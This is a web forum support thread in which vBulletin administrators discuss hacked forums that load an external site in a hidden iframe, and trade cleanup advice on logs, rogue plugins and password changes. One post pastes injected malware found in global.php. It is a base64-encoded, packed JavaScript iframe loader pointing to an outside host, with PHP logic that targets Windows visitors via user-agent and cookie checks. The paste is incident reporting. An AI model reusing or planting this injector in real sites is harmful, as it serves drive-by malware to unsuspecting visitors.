External Site being called while loading vBulletin Pages

[Trevor Hannant]

Have you backed up your database to a local file and searched through it for any instances of URLs or IP addresses that are being displayed?

Check your server logs for everything uploaded since you resolved it on 3rd August - is there anything showing up?

Might be an idea to also change all FTP, database and server access login information to try and block future attempts.

[Boss-Hog]

All good suggestions - I'll start there and see what I can find. Thank you.

Have you backed up your database to a local file and searched through it for any instances of URLs or IP addresses that are being displayed?

Check your server logs for everything uploaded since you resolved it on 3rd August - is there anything showing up?

Might be an idea to also change all FTP, database and server access login information to try and block future attempts.

[rootsxrocks]

I doubt this is it because it is so obvious,but ill share. I had enabled Iframes via bbcode for myself using advance bb permissions to restrict others. embbeding saved google maps via bb uses a simular feature. so I ebeded a local restraunt guide as a favor to help them get the word out, once they figured out how I had done it, they changed there code to make the page open up outside the frame redirecting my users away from my site. I removed there listing and feel slightly abused and a little more wise.

[Boss-Hog]

Trevor,

I searched through my all forum tables on my site and the only references to the IP address I mentioned were posts made discussing the matter. I reviewed the server logs and do not see anything suspicious (as far as uploaded files go). I will change the passwords you mention to do all that I can to ensure this does not happen again. In the meantime, do you have any other suggestions as to how I can ensure this problem is eliminated?

[drisley]

FWIW, I have had the same exact problem over on the PCMech forums, www.pcmech.com/forum/. I still haven't figured out how they got in, however I was seeing an IFRAME injection only for users of the IE browser. For the same exact IP address.

When I looked in my footer template, I had a $includedphp variable in it which isn't normal. I removed it and the problem went away. However, I'm still not sure what it was including and it was coming from a local source.

In my looking around, I think this is along the lines of what was happening:

http://blog.armorize.com/2010/05/beware-of-boingboingcom-malware.html

I am, too, running 3.8.6 Patch 1, which is the latest version for the 3.x branch. However, I can't help but wonder how the hell they got in there.

[drisley]

After I posted that, I found the source. It was a plug-in installed to the system called "Web", and it was triggered on the "global_start" hook. If you look at the code inside of that plug-in, it shows everything. So, I deleted it.

So, the inevitable question.... this is an up-to-date install of VB 3.x. How did they manage to install a plug-in to my forum?

[TROLL]

I am having a very similar problem right now on my site, www.tristatetuners.com . My hosting company has not been able to replicate any issues or find anything on the server... its been very frustrating. I'm glad I found this thread and hope that my issue turns out to be the same as yours and that I can use the info in this thread to take care of it. The malware is only hitting a small number of users on my site and has been difficult to replicate. I just recently updated from 3.8.2 to 3.8.6 PL1, the problems seem to have happened after the upgrade (along with an internal server error as well and another funky issue with "%" not displaying properly).
If anyone has any other input I will gladly take it, otherwise I will just report back here with either answers or questions depending on how things go. Thanks...

[TROLL]

Is anyone else using the plugin "Rotating Banner System" on their site? I haven't confirmed 100% but since disabling this plugin I have not had anyone report issues. Again I can not confirm this at all, just an initial finding that I am working on confirming. All ads in this program were input by me personally so if it is the source of the problem I would suspect the plugin itself, not the ads that I input into it.

[pokesph]

Got another quick suggestion for ya.. change your admin(s) passwords as well as your mysql user/pass - add yet another protection layer in case that thay hacked an admin account or worse.

I do hope you find it, and then let us all know what/where/how, etc..

[TROLL]

thanks, we're still working on this but haven't been able to find it yet!
if anyone who has experienced this situation has any ideas please let me know... you can post here, or PM me, or if you're willing we can talk via AIM or even phone.
thanks...
bryan

[TROLL]

ok we found a code injection and removed it very late last night... we did not go through and reset all passwords because we could barely keep our eyes open. less than 12 hours later, the same code is back in the same place. we are going to get together tonight and change all passwords and remove the code to see if that fixes things permanently, but does anyone have any other ideas on where to look?

the code was found in my forum/global.php file and i'll copy the start of the file below to show how the code was inserted:

<?php
/*======================================================================*\
|| #################################################################### ||
|| # vBulletin 3.8.6 Patch Level 1 - Licence Number [edited out]
|| # ---------------------------------------------------------------- # ||
|| # Copyright ©2000-2010 Jelsoft Enterprises Ltd. All Rights Reserved. ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
|| #################################################################### ||
\*======================================================================*/



/**start PHNjcmlwdCBsYW5ndWFnZT0nSmF2YVNjcmlwdCc+ZXZhbChmdW5jdGlvbihwLGEsYyxrLGUsZCl7ZT1mdW5jdGlvbihjKXtyZXR1cm4gYy50b1N0cmluZygzNil9O2lmKCEnJy5yZXBsYWNlKC9eLyxTdHJpbmcpKXt3aGlsZShjLS0pe2RbYy50b1N0cmluZyhhKV09a1tjXXx8Yy50b1N0cmluZyhhKX1rPVtmdW5jdGlvbihlKXtyZXR1cm4gZFtlXX1dO2U9ZnVuY3Rpb24oKXtyZXR1cm4nXFx3Kyd9O2M9MX07d2hpbGUoYy0tKXtpZihrW2NdKXtwPXAucmVwbGFjZShuZXcgUmVnRXhwKCdcXGInK2UoYykrJ1xcYicsJ2cnKSxrW2NdKX19cmV0dXJuIHB9KCc2LjcoXCc8MiA1PSI0Oi8vMy44LjkvIiBiPSIxIiBjPSIxIiBhPSIwIj48LzI+XCcpOycsMTMsMTMsJ3x8aWZyYW1lfHBpbG90MzZ8aHR0cHxzcmN8ZG9jdW1lbnR8d3JpdGV8Y298Y2N8ZnJhbWVib3JkZXJ8d2lkdGh8aGVpZ2h0Jy5zcGxpdCgnfCcpLDAse30pKTs8L3NjcmlwdD4= end**/
$__name = md5($_SERVER['HTTP_HOST']);

$reg = "(Win16)|(Windows 95)|(Win95)|(Windows_95)|(Windows 98)|(Win98)|(Windows NT 5.0)|(Windows 2000)|(Windows NT 5.1)|(Windows XP)|(Windows NT 5.2)|(Windows NT 6.0)|(Windows NT 7.0)|(Windows NT 4.0)|(WinNT4.0)|(WinNT)|(Windows NT)|(Windows ME)";
if(empty ($_COOKIE[$__name]) AND eregi($reg, $_SERVER['HTTP_USER_AGENT'])) {
    $date = date("D, j M Y 00:00:00", time()+60*60*24*30);
    $cookie = time().".".rand(1111111, 9999999);
    $set_js = @setcookie ($__name, $cookie, time()+60*60*24*30);
    if(!$set_js)
        echo '<script type="text/javascript">document.cookie = "'.$__name.'="+escape(\''.$cookie.'\')+"; expires='.$date.'; path=/";</script>';

    $__content = file_get_contents(__FILE__);
    preg_match("#\*start(.*?)end\*#is", $__content, $__m);
    if(isset($__m[1]) and trim($__m[1])!="" and preg_match('%^[a-zA-Z0-9/+]*={0,2}$%', trim($__m[1]))) {
        echo base64_decode($__m[1]);
    }

    elseif(isset($__m[1]) and trim($__m[1])!="") {
        echo $__m[1];

[Trevor Hannant]

How about server logs to see where access to that file came from - you have the timeframe (from when you changed it to when you checked it) so you should be able to narrow it down.

Once found, follow the advice in this thread:

https://www.vbulletin.com/go/secure